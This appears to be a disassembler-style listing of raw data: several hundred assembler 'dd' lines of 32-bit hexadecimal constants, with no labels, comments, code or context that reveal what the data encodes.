		dd 0CB747699h, 277B0800h, 2C784D2Bh, 0F2BD0011h, 2E644493h
		dd 3103E368h, 0C2799E87h, 55D7983Dh, 0E1690076h, 0B7F67494h
		dd 960E8D78h, 0A08AB914h, 265536D1h, 0EC700F99h, 0DE9D9B32h
		dd 0BC1E40E1h, 0D5DC3ACCh, 0D4EFA40Fh, 71E3C0FDh, 28493D77h
		dd 0B1C5C1h, 0F3AD8C8Bh, 2B4B6014h, 77BE0F09h, 0B5B40195h
		dd 98506644h, 146705h, 2DDA03BFh, 57BABC53h, 4007737Dh
		dd 87CF7BACh, 2E657950h, 0BF6F00A9h, 78DA5054h,	0E100F6EBh
		dd 0A18C177Ch, 5F9DAAh,	7348911Fh, 3D854550h, 2624951Eh
		dd 0A569C040h, 0A01321h, 0E58A6041h, 933B315h, 0E9008D98h
		dd 36BB97F1h, 91516Fh, 0F98E4D60h, 44F87913h, 0C0C7E800h
		dd 660E05A6h, 0D940004h, 14B32410h, 580EB183h, 408D2617h
		dd 5ED143C1h, 38010011h, 0DE64810h, 84002975h, 93D06DA5h
		dd 0FF4D6Eh, 0F9E88894h, 0EC045BEFh, 8A7B5A03h,	0D02785A3h
		dd 73066B2Ch, 4184919h,	9CD47900h, 930F70E4h, 48DDC300h
		dd 0F835F5FCh, 37AF002Ch, 0DB6E3B3Eh, 20125170h, 6800D803h
		dd 0D64CBBD7h, 52583DA2h, 0CF509580h, 1C3AC045h, 70D0A70Eh
		dd 473BC0E1h, 0A49A3Eh,	0D80720A1h, 46CB1BC7h, 16FFCC01h
		dd 8637FA5Eh, 33D0B6EDh, 0B7EC00F3h, 7CCDDB91h,	3200FDF6h
		dd 3ADADDABh, 1501B45h,	0ACAD49CAh, 0C8AE3CEAh,	9B0023C6h
		dd 818DE720h, 0C8B6A9h,	54EB41CBh, 828387F8h, 0AA0096F2h
		dd 0E2699A6Fh, 237079Fh, 1E521985h, 0EFC0556Ah,	9609ED82h
		dd 0AE7967h, 41CD1A63h,	0C4311F62h, 0CF520051h,	0E42FDB8h
		dd 0F0B9E600h, 0EFBA859Fh, 6E050033h, 8E0BF129h, 0F9000635h
		dd 30695B97h, 77B6599h,	0B605EAB4h, 0A011D6C7h,	41377E00h
		dd 0BB755B32h, 963407E6h, 404935CFh, 2C0F6E86h,	3005D030h
		dd 5DC0498h, 0E1AC5671h, 4154C01Dh, 2A008A1Ch, 4C934A3h
		dd 91797Eh, 0A5F0B688h,	35D7C1C5h, 462C0100h, 0E4B9703Ch
		dd 0BA9C00CAh, 0EF91CFC2h, 0C67477ADh, 8031463Eh, 8155867Fh
		dd 6BD71h, 40A98032h, 0FD5B1A74h, 3BB6A300h, 0B06BE892h
		dd 0ECDA0045h, 0C6DFB74Eh, 0EF70ABFEh, 1A978007h, 0B1B0FFE8h
		dd 9487A9h, 0E001ADA6h,	2B5721BDh, 65C49507h, 39700681h
		dd 0E5D9738h, 0DE4FD4E2h, 1B03EA3h, 0AFD0E4F3h,	56EC7C64h
		dd 38E4800h, 109D4D85h,	9C550025h, 6A588B70h, 0EB00F23Bh
		dd 3AB178ADh, 1832A13h,	0CAB90E6Fh, 0C4681471h,	1872AA5Ch
		dd 0AFA19100h, 3BE15B7h, 8766002Eh, 228EBF8h, 940E6A74h
		dd 0A0D51271h, 0B7445B8Fh, 89BA014Ch, 0AA696F7Fh, 1A9BC4CBh
		dd 257D387Bh, 0C7921B00h, 0DE47F173h, 60D800BFh, 77768239h
		dd 2300A93Ch, 0FD17B911h, 38477962h, 980F63Dh, 0DD3C40E5h
		dd 28787714h, 640E4E00h, 9AA95EC3h, 2B6E020Dh, 0D782F6C5h
		dd 112DCC80h, 0F1D628Bh, 4B091CC1h, 86560057h, 0F0AE1Fh
		dd 0BAD67022h, 48BEE903h, 498F9E00h, 965E376Dh,	1CCB7632h
		dd 803EA842h, 4ADA6FA3h, 7A0025E1h, 5E843677h, 7DC10BB2h
		dd 0CAB0711h, 1B81534h,	0ECBE1793h, 9017F05Fh, 0BCA88042h
		dd 6EE8A130h, 1D0E683Fh, 80D7DEBCh, 0F41715CEh,	3D530057h
		dd 0B039ECCDh, 0BF589061h, 0C6DA0093h, 2BA814EEh, 312003FBh
		dd 0BA1384D2h, 70153EF1h, 0BB00F70Bh, 0A16881EFh, 4CFEB6DDh
		dd 6860D9F3h, 7657E4D6h, 27C9B900h, 7C8D0136h, 0B5340023h
		dd 0B33D5C4h, 0AF007464h, 96C31EBCh, 297B83h, 985A99CCh
		dd 810569B3h, 8AEF181Ch, 57F1A040h, 0BB9F4Ch, 7333E1C6h
		dd 0CDE82FA5h, 1B3ED600h, 9D67C42Dh, 4FB0065h, 0BBC1BC3Bh
		dd 0AE76F018h, 0F37C9E00h, 71349D97h, 820138DEh, 596F790Ah
		dd 0DBF800E7h, 5B609890h, 0D0E63A00h, 0F997625h, 0D15E1E34h
		dd 954887E7h, 0D63C90A9h, 0FA03103Bh, 0A82EA78Eh, 83CCE087h
		dd 48F09040h, 0E800B0B2h, 0F2B8BA92h, 2700375Ah, 7654436Dh
		dd 68FCDDh, 4B21BFF5h, 5C79325Fh, 7CC8AD00h, 6472E4F2h
		dd 78251CBDh, 18BC023h,	1FE998D1h, 0C6040D00h, 0B89B7ACBh
		dd 0B08300F0h, 4A5FE566h, 0CF68FA7h, 0CB00997Eh, 9E133045h
		dd 0F6227EFh, 40F30592h, 0E7508058h, 0BC0086F8h, 3F9FA7BDh
		dd 0FF03B8h, 0DF320EA8h, 92B9C117h, 58367E02h, 4118FAF5h
		dd 0A481C3BBh, 2A614AECh, 0D5F0F8E7h, 92398D00h, 0F75B8A5Fh
		dd 357107D6h, 0D0FED376h, 1079CB7Dh, 0E6AFBD00h, 360F2144h
		dd 4ABF034Dh, 7FCD0257h, 23F5A2D8h, 0BD004090h,	0C3F465BAh
		dd 63DA4B0h, 0FF253229h, 0DE0F90C0h, 0C04B016Fh, 1E1B549Bh
		dd 0B4350194h, 4FBEC9C1h, 83FED407h, 7BEEF100h,	6D8936EAh
		dd 0FA4C00F2h, 58D11849h, 9C263AA6h, 0F50098EFh, 0A98FAF17h
		dd 5CA100BEh, 152174FBh, 0B904BB69h, 8D23ED85h,	16A29FC0h
		dd 0CF4707D4h, 30A30FB5h, 278EA8B1h, 800E5C3Dh,	7041ABEBh
		dd 0D3A078h, 0A2DDA444h, 380D0834h, 15393D00h, 4BEE2BC3h
		dd 4D801DAh, 939B9417h,	0A4D4F847h, 0C403A078h,	8E3FF302h
		dd 11CE8Ah, 42A2E956h, 792401CDh, 8028993Eh, 634FDE0Eh
		dd 7BB5B0C1h, 0ED8B02Ch, 0EF6A6734h, 80D5C325h,	0B492BF23h
		dd 0DB101050h, 0F4C0F500h
		dd 0F6416A6Eh, 0A5820B9Fh, 4C008685h, 2EFC7F9h,	1963172Ch
		dd 8E56C800h, 0FFB587h,	0EA91A47Ch, 0DBF413D0h,	98A9E900h
		dd 406BE2ABh, 9A8503BEh, 0ACD4B0C0h, 7E8D5B90h,	1CEA4D3Fh
		dd 0AA00CA94h, 10CB2D75h, 1FA20038h, 8D6CB74Fh,	9F048BD7h
		dd 18358513h, 0ED08B0h,	3966653Eh, 296CD9CAh, 33F26900h
		dd 0AC0805A8h, 800300F1h, 578A5C3Fh, 2B002CB1h,	14302A4Fh
		dd 0B885C332h, 0DBF0078h, 3903C999h, 0E7005E06h, 10EE6B3Bh
		dd 67ACEC79h, 330728FBh, 35A0B3FFh, 0AA0023F0h,	5D149030h
		dd 73EE1217h, 228B050Dh, 0C0C47736h, 48ED35C7h,	0A03EC1EAh
		dd 828A166Ch, 34AB7F03h, 0DB5CC068h, 3F640AA5h,	1913197h
		dd 721DDC61h, 0B548D029h, 0AC7A840Bh, 0AFCF85C9h, 70CB4C0h
		dd 0E91300D5h, 0D12274E2h, 903BF7Ch, 0A2DEB00Ah, 73EFB93Ah
		dd 16AFFDC0h, 4067A04Fh, 0BB613D28h, 1730F42Fh,	3BA4F8BFh
		dd 4A150198h, 547F2A2Eh, 34199532h, 5000FE04h, 0E87A64FFh
		dd 2B0E2DCFh, 80DC0D92h, 533820E4h, 0F986288Fh,	7C4814CCh
		dd 3F009014h, 1E9A8A64h, 0B21F3B65h, 346B6B35h,	95AF5B62h
		dd 0ACA1844Ch, 43C80CDh, 0AFEEABBDh, 0D7912F00h, 93B69CFCh
		dd 28FA7FC0h, 80C620Eh,	0C12E9ADCh, 42705808h, 1880A9C8h
		dd 9251DA78h, 621A1080h, 6FCB19A0h, 99041881h, 0CA95118Ah
		dd 96F80C41h, 0E17B3040h, 0C49CA52h, 0B80D8818h, 0C940A4Eh
		dd 779A9802h, 457C058Eh, 2FDCC48h, 9665F424h, 10CB3F22h
		dd 9347BA28h, 0ACE56C5h, 860CAC18h, 316BA8E9h, 0BC0CA043h
		dd 1479530Ah, 0ED0CA750h, 30247E50h, 3C14E042h,	0A42A1802h
		dd 8468F478h, 48C01854h, 0B3D34504h, 21034231h,	191D2DBBh
		dd 24623EB7h, 0D80495h,	5C0CDAAEh, 3F58E969h, 0A60800D4h
		dd 32E1D68Dh, 9831039Eh, 451A542Ah, 2E6987E9h, 48B567F0h
		dd 22004C56h, 0F5F199A8h, 344DF6B9h, 9A0904C0h,	4907EDBh
		dd 0C1A0415Ch, 13A805A1h, 96042031h, 7835A307h,	4210CE5Dh
		dd 1FE8374Dh, 0B0C68AAFh, 17E645A1h, 0CD20EBE6h, 591F0C33h
		dd 73886D12h, 1D76D14Ch, 0FB008067h, 5E96A40h, 88602FFh
		dd 930C99B7h, 1C3EF462h, 2790800h, 629C557Ah, 0AAB1C39Fh
		dd 0A6E059CAh, 4D18A538h, 44508BE3h, 341726FCh,	0E65A00D0h
		dd 5111932Eh, 0B9255700h, 6AC16519h, 1E27235h, 3789D417h
		dd 5122C733h, 703813C8h, 9260FEDBh, 7153C250h, 4A560A03h
		dd 14C696h, 342E7455h, 6450F7F6h, 0EE001034h, 0E07B60AFh
		dd 0FD0BB98h, 0A98BD474h, 0F900173h, 312DB88Eh,	8C45D41Ch
		dd 0D3892C00h, 0B060C6D9h, 41960174h, 0FC0F2623h, 25C7707Bh
		dd 0B81DC530h, 60E7D957h, 99A69846h, 2700EB54h,	679C3210h
		dd 5CCD8BE5h, 7A0148FAh, 0BB294C0h, 19752096h, 141CCF4Ch
		dd 3D689E06h, 2C8B02FCh, 0B8D8AE60h, 3DC37B40h,	287B306h
		dd 0F08E3181h, 6934CC6Eh, 21B2DC01h, 0F11C7F0Ah, 54CBD8F4h
		dd 0CFD5C094h, 16709310h, 414599Ch, 9DE90C41h, 0EC948809h
		dd 539F3E60h, 39A03683h, 0AAE006FDh, 0DD3F80E4h, 5B1909A5h
		dd 0E85C0245h, 6274D062h, 1A1718AAh, 0C9208880h, 6303D3DCh
		dd 3950C2D8h, 0F1312C42h, 0E8423D0h, 90C27247h,	5848D19Ch
		dd 1201BF9Eh, 6E52EF19h, 88287F81h, 95F17801h, 342C01FFh
		dd 0B4487BF0h, 0E0FA81CCh, 50303AB0h, 79FE6DDh,	6B8CDEFEh
		dd 81305416h, 0E14D9DA0h, 9488518Dh, 5048202Dh,	0BF290503h
		dd 8261A107h, 2C8480BDh, 8CE6C5h, 935079FFh, 0D8E06A44h
		dd 90AAE730h, 13246087h, 738E147h, 0B0F20B56h, 637CEEA5h
		dd 80163C28h, 9DA8C38h,	4024D8E8h, 0F469A648h, 0AEF0123h
		dd 8AF6C0A1h, 8B16C952h, 20CB4D40h, 539C442Ch, 0D3181D4Ah
		dd 31B7139Dh, 8035F608h, 0BFC43FE8h, 48727CE1h,	8E00D46Ah
		dd 0F896E4CCh, 0DB4D5085h, 54200F30h, 9EF90315h, 0E1E814CBh
		dd 0A501C4C7h, 7B2360ADh, 0E4305D16h, 0AE4722F1h, 10AFB17h
		dd 0CA9E9B54h, 0F3B08488h, 489126E3h, 87C4E4B1h, 0A0127075h
		dd 638DD1h, 0FFA661Ch, 0ACE019C3h, 57009C9Ah, 6248535Bh
		dd 0FCD79474h, 0DCF8484Ch, 20A85AC0h, 16006F28h, 23575F83h
		dd 4C8C082Bh, 0A4079C6Ch, 5C59E6A3h, 1A00F651h,	22E24847h
		dd 131B2E01h, 308AD317h, 2F730510h, 3D407600h, 381295C0h
		dd 0C7FC095Bh, 880190F7h, 0E8B6158Eh, 7E075FFDh, 739F28CDh
		dd 0C8C9EA9h, 9E3929F9h, 850493F8h, 0F761354Ah,	2000508Ah
		dd 28CE1DFEh, 911840D1h, 1790BC51h, 3EE305F6h, 899C68h
		dd 1D167EDCh, 76023DA3h, 5293A2E9h, 0C1EFE243h,	0F2C09D21h
		dd 0CCC300DCh, 406851E2h, 0EC2C1D6Bh, 9E04825h,	0F8319DC7h
		dd 98610A10h, 41EC8C0Ch, 89F88143h, 10176031h, 882209A8h
		dd 1F00C045h, 1194514Ch, 14B228B1h, 0EC24D0DDh,	0B1D1ED39h
		dd 0D570F800h, 695258E0h, 82608B24h, 409B2E3Fh,	0D4C88C80h
		dd 0C75835FCh, 7D2000D0h, 0CA1AF20Fh, 643C289Bh, 0F63F0AE4h
		dd 86A445D8h, 688A62DDh, 2EBCE902h, 48CC724Fh, 88FE6434h
		dd 932488DBh, 24020BE9h, 4127EFB6h, 49ECF004h, 0A73B0122h
		dd 47875445h, 1CD874AEh, 0B9043100h, 777885FCh,	604F0749h
		dd 7AFD146Eh, 8BD98A08h, 2E2F8310h, 63C084D8h, 7D033E7Bh
		dd 4541120Eh, 0DABFD040h, 78BE0069h, 0A3FA06D7h, 37003864h
		dd 0EBAC6E54h, 68169Ch,	81AE335Bh, 0A83A56CBh, 0B68960FBh
		dd 0B178FB65h, 95FE0405h, 51D4C006h, 68FD0319h,	5C405205h
		dd 0B27A31F0h, 21A1E00h, 7BF597DEh, 0F081C08Fh,	9E6DA427h
		dd 1AFBD604h, 0E7C7B01Ch, 0C83E9463h, 0FA0E4F65h, 29153BCEh
		dd 0FB8F800h, 32EAE24Ah, 91E87530h, 8DDA4Dh, 0FACCF559h
		dd 19311660h, 0A402047Bh, 0E39F5512h, 0BC908083h, 75B9EB5h
		dd 974D4952h, 298D50B4h, 3A00FAD5h, 6EF57627h, 0B08CB178h
		dd 66EA1FC1h, 0EFAC0049h, 0D064866Ch, 0E22CBC00h, 5BC7156Fh
		dd 11B76290h, 9676EC59h, 92F1BD00h, 0FE47CDB2h,	407B82h
		dd 54B8790Fh, 71A6410Eh, 9B0C4574h, 0F60C2E4Eh,	6B1F0F85h
		dd 75008287h, 7E140F66h, 49436502h, 0E00BFE7Bh,	6989B2h
		dd 0C6488277h, 0C83E03ADh, 0BF962600h, 4CCDE3D5h, 0E77981h
		dd 31FB393h, 2B1D59A7h,	460E4D00h, 43DF9C84h, 12F094h
		dd 0B86CF9A0h, 173295BBh, 0BD229907h, 2C30CBBCh, 7D5B3h
		dd 8844BEF8h, 0EFE9814Dh, 0EDA5430Ch, 71F119Ch,	0A6727148h
		dd 903B205Bh, 0E407894Eh, 4D4050EDh, 96AB6590h,	38171D56h
		dd 0C51440A1h, 42F7222Ch, 0D74F80A0h, 0E16FEA00h, 0C89C169Eh
		dd 76700EFh, 4A12F856h,	3D0024AFh, 0CF60AC5Bh, 0A10C05A5h
		dd 0CB3F84h, 3E364F30h,	510E4A04h, 68B60917h, 174900EAh
		dd 0E466D859h, 415D7531h, 1B0004D2h, 0D518C26Fh, 9A79DC14h
		dd 694A4F4h, 0CEA071FFh, 870260F3h, 3086C8FBh, 0A15DE048h
		dd 0C26818BAh, 1D3C81AAh, 52890F07h, 10B0C359h,	1642A92h
		dd 0E06640C0h, 0D4A6F728h, 25005D65h, 1EED9EE7h, 59E39Bh
		dd 0F6BCB169h, 0D864284Fh, 7A34D301h, 0C6C4EF5Ch, 0D9D5C0h
		dd 0F79A5E20h, 5FE07110h, 0EC404D1Eh, 0EB2D8441h, 3CC91835h
		dd 80480880h, 4EC772DEh, 7AFC3B07h, 0C8F07CE7h,	0E6708E07h
		dd 0B2EC004Bh, 1A37F4D5h, 0C7030C4Fh, 9E51836Fh, 968380h
		dd 36DCBE68h, 0ABEC5618h, 0F274CB10h, 9A3A6800h, 0D71F2722h
		dd 70825F0Eh, 0B7D380D6h
		dd 2E1830h, 5D97B56Bh, 0BC577DCFh, 0E947B901h, 0C43A5C88h
		dd 9AEBFA40h, 0EC36077Ah, 415D7255h, 803D26A5h,	0F0461711h
		dd 7799BCDh, 8C5492BEh,	0FCB343B6h, 0D1372003h,	900C0D2Ch
		dd 4B404FCFh, 109E8F2h,	1979851Fh, 5CD97A82h, 91FBF0h
		dd 0CF09F867h, 875FFF6h, 7032F900h, 0E938D5ADh,	30F074BDh
		dd 9520B81Eh, 0B01EFA6Eh, 0C03051Fh, 0C0F1A27Fh, 60A56051h
		dd 0C889B8FBh, 90307059h, 5F3A90FAh, 6C17BACh, 2AFB468Ch
		dd 650018FEh, 0EFF4D6B7h, 253BD7h, 0F788F1AAh, 83996375h
		dd 0E25CC201h, 1455D305h, 0F2F5D8h, 20891DAFh, 282E498Dh
		dd 0A739F803h, 8F683AE1h, 7796FF71h, 6D1BD8h, 0CD869D37h
		dd 19EF535h, 63B28900h,	0C3B8FF85h, 0C8EE007Ch,	41D97BEDh
		dd 0E300BF35h, 8B1337E9h, 333CC6h, 0A93D0965h, 0B42FC951h
		dd 7F798C00h, 0A073B266h, 3F270098h, 1DF77B8Fh,	8EB03A07h
		dd 82002B76h, 46BD63A7h, 0A23F7Ch, 3034F1CAh, 162CFCDEh
		dd 5DCF2800h, 6E9D2329h, 339A01E0h, 34B9880Ah, 8021BAE9h
		dd 0CDDF22FEh, 0A09CC7h, 84935D64h, 0F44B1CA5h,	5801DC30h
		dd 0CB79E9h, 4208E39h, 0AB1619B7h, 45D38C0Ch, 18F321C5h
		dd 581C9648h, 512C1B3Dh, 0C02428E4h, 42FF6103h,	991CC02Bh
		dd 418700BEh, 254FF22Ch, 3D00D19Eh, 7A702A4Eh, 0C137B75h
		dd 0F24DACD8h, 8121F0D0h, 22F3051Eh, 358E80D3h,	0D1C40B48h
		dd 0D4141AA5h, 0F1F02201h, 81D0D975h, 0CD0C1988h, 9051C41Fh
		dd 38F41412h, 0FDF0C8h,	0B944B65Dh, 42DD69A2h, 0C11C5C0Eh
		dd 933C409Ch, 73465F7h,	47139557h, 14A02F11h, 0B3D5CCDh
		dd 0BC630400h, 0DFF3F28Dh, 61810010h, 4C891517h, 0CA1E7DE4h
		dd 6A409CA9h, 0FB2DB9ABh, 0D4FD016Ch, 7D3CB645h, 4FEFCC92h
		dd 1F432B07h, 7EC04CF9h, 194B4Eh, 50FDD8B5h, 1B5D5AE3h
		dd 3DFCC403h, 937F394Dh, 0EDDB087h, 306B0019h, 7D378B59h
		dd 0B80043FEh, 0EE934B4Fh, 81C1E8h, 836C57B3h, 0BFC295Ah
		dd 69F8D805h, 4C009716h, 2663B00Eh, 3660798h, 431824h
		dd 0A75DCD8Fh, 3A07737Dh, 0F1721687h, 0DBAF5880h, 4FED00FFh
		dd 5AE159CDh, 9D005FBEh, 0F98757D5h, 79420384h,	6C140109h
		dd 4C1D9B93h, 268EC0D4h, 6A20D4A0h, 19CB73Bh, 88297D11h
		dd 1880217Fh, 7CA03724h, 0C17BDBCDh, 77F35Ch, 79411FBEh
		dd 0E0151160h, 2A0D606Dh, 0BB62AE7Ch, 0FBA0691Ch, 20D8BFC9h
		dd 296E3504h, 460D120h,	52F468B0h, 0CE839h, 0EF2D132Fh
		dd 0C01B018Eh, 0ED9D1190h, 0F8007142h, 0E5053D32h, 16040897h
		dd 0F069560Ah, 0F47442C8h, 82B8AB00h, 0A8DD77FAh, 69CA1CCDh
		dd 139A077Eh, 4BE1901Bh, 2B67ED9Ch, 0F2B06A58h,	0E6B4C70h
		dd 770A1926h, 843484h, 0EFD52D88h, 70A80320h, 732FFC40h
		dd 80710C89h, 0A11DB1B8h, 2DD721h, 0C38CEC10h, 65A4FBC7h
		dd 27E320C0h, 77214Dh, 523E8004h, 584AFC9Fh, 2D282400h
		dd 5CB54669h, 0FAA41F11h, 0B8DC54AEh, 0C449D600h, 50167E53h
		dd 2FD1AC15h, 86ED0094h, 7D3DC341h, 0C848C048h,	911095CFh
		dd 40A8B54Eh, 0E15F01Dh, 21E02C8Fh, 0F95FB85h, 609AF03h
		dd 0A89B42F5h, 28822F0Ch, 90C2CAh, 3558C571h, 45E4E204h
		dd 6B015706h, 1A86836h,	4A42B740h, 60D720B5h, 4F3037F2h
		dd 232881A8h, 59430053h, 0F47A62F7h, 16063E8Bh,	0EDE4076h
		dd 0F1440FD6h, 800069B8h, 522B9933h, 6FB5C200h,	1239C10Bh
		dd 0FC233650h, 0A52A3870h, 3D02703Ah, 65931D53h, 13BD18D1h
		dd 7C7D1000h, 0EE5795F8h, 0E955503Dh, 0F4C90931h, 68205D20h
		dd 0D481F929h, 0B81A0701h, 4DAF418Eh, 92F33050h, 95930217h
		dd 0EBD82FCFh, 0A040EE05h, 52928BB1h, 0CD4B3FA1h, 5DA426h
		dd 4742F1D3h, 83246830h, 1640080Bh, 10E950A1h, 84FBC865h
		dd 648719EAh, 6A326920h, 0FA1200E3h, 0ED49D1EFh, 0AE039CDDh
		dd 35E184D6h, 1D98D6A8h, 454CE48h, 80F10F78h, 0F336CCC0h
		dd 0DC0468F4h, 5940791Bh, 497E91D0h, 0A375000Fh, 9FB8474Bh
		dd 0F801A499h, 0E3480D4Dh, 0D94161F9h, 27E47E14h, 43450ADDh
		dd 3E0697Fh, 4DA9B020h,	0DF1C188h, 0A43DE238h, 0F40CE5CBh
		dd 2660B5h, 0D08ED6E7h,	470CED6Eh, 0F5FC1571h, 9D313601h
		dd 7DD87BA4h, 0DEBDB840h, 8F6C0E88h, 0B1470F6Ah, 9BF410EFh
		dd 0CD782DB5h, 3665951Fh, 0DD2E4C80h, 2D61597h,	0AD54BEC1h
		dd 3C4437DFh, 91412324h, 0A5487338h, 0CC5A8A3Ch, 99072800h
		dd 7EEB2966h, 0C0D0000Ah, 914DAA0h, 0C8FAA230h,	24DF453Dh
		dd 105C2841h, 80111BB6h, 0E810232Eh, 1D3D0E5Eh,	3FA082DBh
		dd 7CAC90DDh, 0A5A23300h, 0EF046222h, 0FE5404B2h, 0CC446DE7h
		dd 0BEE24258h, 3C7AFA10h, 0C3F45BC4h, 3BF8569Ch, 46069A85h
		dd 0EAAB05E1h, 59BB0038h, 5702C7E9h, 40954CBh, 8FF4C25Ch
		dd 2018AFB8h, 5EE77C38h, 19498EFh, 51B6F71Ch, 60CCC39Ch
		dd 570ED8DDh, 65A681F5h, 0E041F1BFh, 74BE3323h,	0F253F7E0h
		dd 0E12B3FFAh, 699747BEh, 150009D0h, 4F52A80Eh,	644328C4h
		dd 48F830A0h, 0E900DD61h, 3840C177h, 17AF3Ah, 79D965AAh
		dd 0F2A094D3h, 380CFF30h, 0ACD469C2h, 449604E4h, 84F2E13Dh
		dd 32E42364h, 43E02100h, 0AA406E66h, 0D3A11FACh, 2012C019h
		dd 9DF07683h, 0BB66D800h, 0E825C1C3h, 146F618h,	9168AE61h
		dd 2644418Fh, 30EE24E8h, 0C06DAF02h, 886583h, 3EBF259Eh
		dd 0BA00B36Fh, 0B1738C04h, 24B91945h, 887C3FE3h, 4C00C255h
		dd 0E7992E5Dh, 71820F7Fh, 14C35A13h, 51C87DEDh,	28D3C332h
		dd 59730200h, 15AF730h,	3BFD4440h, 70EDE999h, 3600DED2h
		dd 69B0A8C6h, 3CF4BBC3h, 763D8AA6h, 87B9600h, 0BEBCA7A2h
		dd 0BD721900h, 0C7A56AE8h, 0ACB80048h, 21A0BBB4h, 3400C995h
		dd 58C025E9h, 805AB2h, 3AC7AED3h, 4B376C5Eh, 0B1004C7Dh
		dd 6613A7F3h, 0E2B62Ah,	0C23DA918h, 65F04E08h, 0CE5C7824h
		dd 5A115E07h, 0ED57B760h, 29A80EC5h, 56808536h,	1D781541h
		dd 0D155DA00h, 0D222D067h, 3086A0BEh, 1A183EF0h, 6378A40Eh
		dd 0D0A5B046h, 11F9562Ch, 0B2F32600h, 46FDE1h, 1DF02B5Dh
		dd 560876FFh, 57AC5500h, 0FAC7AAF6h, 2BF5003Fh,	7D84B8B4h
		dd 0BA90D970h, 0AF683500h, 0A15186EEh, 0A6FD00D1h, 0C81A9AAAh
		dd 2BE4B91Fh, 288E8003h, 0EECB26h, 3F207120h, 0BCABB425h
		dd 97D8CF00h, 0AEC3825Eh, 1F4F05AFh, 3330D6h, 485486C4h
		dd 0F0DF165h, 28E03261h, 7DA692F0h, 0AD20004Bh,	0F7092CD3h
		dd 4A00B5B2h, 60088AA7h, 65F1DB9h, 35654976h, 1100089Ch
		dd 688A9D64h, 184C2E3h,	2CCA524Ch, 0C4355046h, 0CD48A33Ah
		dd 90FB007Dh, 0A6FAC444h, 9936020Ah, 936529B0h,	740B0848h
		dd 0E2374C00h, 792C694Eh, 0ED36307Ch, 4AF8B7E0h, 0A8B6B230h
		dd 0C0EB5F80h, 0F4889798h, 0AB0AA301h, 0BCB3263Eh, 683A1A0Dh
		dd 1C8196F8h, 80FB8729h, 0A97B5446h, 5D05A756h,	0AB9FB32Fh
		dd 2500C412h, 4FDC0804h, 9FAA6h, 44D24A14h, 0FB3FE665h
		dd 83F1AA02h, 876FF966h, 0A22E52BCh, 62B514B9h,	86C97F6h
		dd 0CA6069B7h, 3981A371h, 8C007947h, 0CBC54B23h, 4C042B49h
		dd 527CED28h, 0BF4008Ch, 0E34B461Dh, 4600B80Ah,	0EF48219Ch
		dd 2ED80327h, 0CE3BD754h, 305500D8h, 1379B028h,	860003B4h
		dd 2B913646h, 6BA68CCh,	0FAEA2C2Eh, 6700304Dh, 87A778E8h
		dd 0FF8CA03h, 0D4567C1Eh
		dd 23FE4A60h, 140024B0h, 2AD066F4h, 1F6240D6h, 0E0BABA4h
		dd 36C171h, 0D9B079BAh,	273F64D8h, 131C922Ch, 0EAA78830h
		dd 0CF1D02F6h, 5A0C5768h, 807DEF02h, 2C62F2CCh,	0AADC009Ch
		dd 110F01DDh, 0F600663Dh, 9581429Fh, 18704D7Dh,	0F8EBEFAFh
		dd 5491FE8Ah, 42478F78h, 304200A7h, 0A62A4D22h,	0CB9F01C6h
		dd 0E22EB6A8h, 24C1215Ah, 821C1704h, 93C51AACh,	9FC7D2D6h
		dd 591218C0h, 620D0EF0h, 5A89FF90h, 13FED800h, 6090A1FAh
		dd 3751BB00h, 0D5AA9961h, 84161F17h, 1F600D3h, 83BDB72Dh
		dd 26CA9C00h, 0CE4B597Eh, 4EE51E52h, 5E43001Fh,	0C53F7703h
		dd 2EDCF70Bh, 0F3F1863Ah, 14EB00F0h, 0E163672Dh, 0A20F5AA9h
		dd 601A6B34h, 0C7804801h, 0B3EF00FDh, 0D3454341h, 8C5C0515h
		dd 8DEC0755h, 6921B4D7h, 5823B8FCh, 9B4B726h, 583121D8h
		dd 429711B5h, 0D2C40BD1h, 0D18801F2h, 0C2B8988Eh, 499C4007h
		dd 42612C83h, 26657FA8h, 36A9B440h, 0A7E74D5h, 7220DB82h
		dd 0C1BB0080h, 0AB8E61B9h, 73DCC901h, 0BE3A029Ch, 0A8A78020h
		dd 86DDFDE8h, 8B2FF601h, 569E066Eh, 5F4CD808h, 5A383Ch
		dd 0ED520C3h, 305C2Fh, 0C5B11295h, 7B9E5B38h, 94C3CA00h
		dd 7D68F518h, 0A03A1230h, 0AB4816DEh, 0E2019D00h, 24656417h
		dd 229C9697h, 0A0A7FA8Ch, 0A5C6A504h, 41C520Ch,	0BD6A1880h
		dd 0D2C53700h, 53959DEFh, 5D0C1666h, 7F03EA6Ch,	89A2F93h
		dd 5CE92A18h, 4287EC88h, 4410DA1Eh, 0BEF4205Fh,	8A17621h
		dd 7A426A71h, 909810CEh, 527224A1h, 24A2340Ch, 0B10ADC6h
		dd 7E18A0E7h, 0C62884AAh, 0C2540C8Dh, 8C31BD18h, 0E8564902h
		dd 0D4316808h, 0D05AF1DDh, 8AAF0C43h, 618E26EFh, 1ABB5500h
		dd 1FDEC65h, 0CEC50BBEh, 4D845999h, 0C070877Ah,	5EAA63A8h
		dd 7F6E0C17h, 0ECE91E1Dh, 0F3423703h, 73DD8009h, 0DC391380h
		dd 95984040h, 213E8C5h,	0D9319863h, 0F1908959h,	4EE7E0h
		dd 78F44137h, 24D3DB94h, 98007672h, 0F261854Dh,	628CAA6Ch
		dd 0B8647E82h, 801CAC60h, 0F1073300h, 0CB945A3Ah, 1528FEB3h
		dd 4C6A58CCh, 35EA167Eh, 0BA5C1E3Eh, 30317380h,	49D32E4Eh
		dd 83DC30F9h, 6EFB8000h, 64A4EADCh, 774A0195h, 0A0D86919h
		dd 235860D5h, 1A2C417Dh, 8500FC56h, 0DCC6F196h,	9AD33AB4h
		dd 0BC1C4229h, 0E0499710h, 0F0D0C3h, 1F4D7B84h,	0DF7894AEh
		dd 0E08F9D01h, 256D938h, 1E18C05Eh, 0E17E6817h,	10D10C00h
		dd 47EBF7FAh, 623800BEh, 0CA33DCD9h, 4C00A9DDh,	9829FD19h
		dd 287DCFh, 0FE25021h, 0AD9C07A2h, 0DAD35501h, 3B18C7A4h
		dd 0E0283F4h, 6FAF1C0h,	33DD40E0h, 0FD009D1Ah, 0EE0FF7CFh
		dd 24B88EFh, 1120DF7Dh,	0DCE0FC38h, 9F00E2B8h, 0D6F358C2h
		dd 19871Ah, 5F5EB230h, 0D3A96EADh, 2663983Dh, 993FE6B1h
		dd 0B42988CBh, 9821E1D0h, 0D14100A8h, 0F5EB505Bh, 7F29B06Eh
		dd 32705853h, 305D2177h, 523BF4F8h, 9A834C60h, 6BC82953h
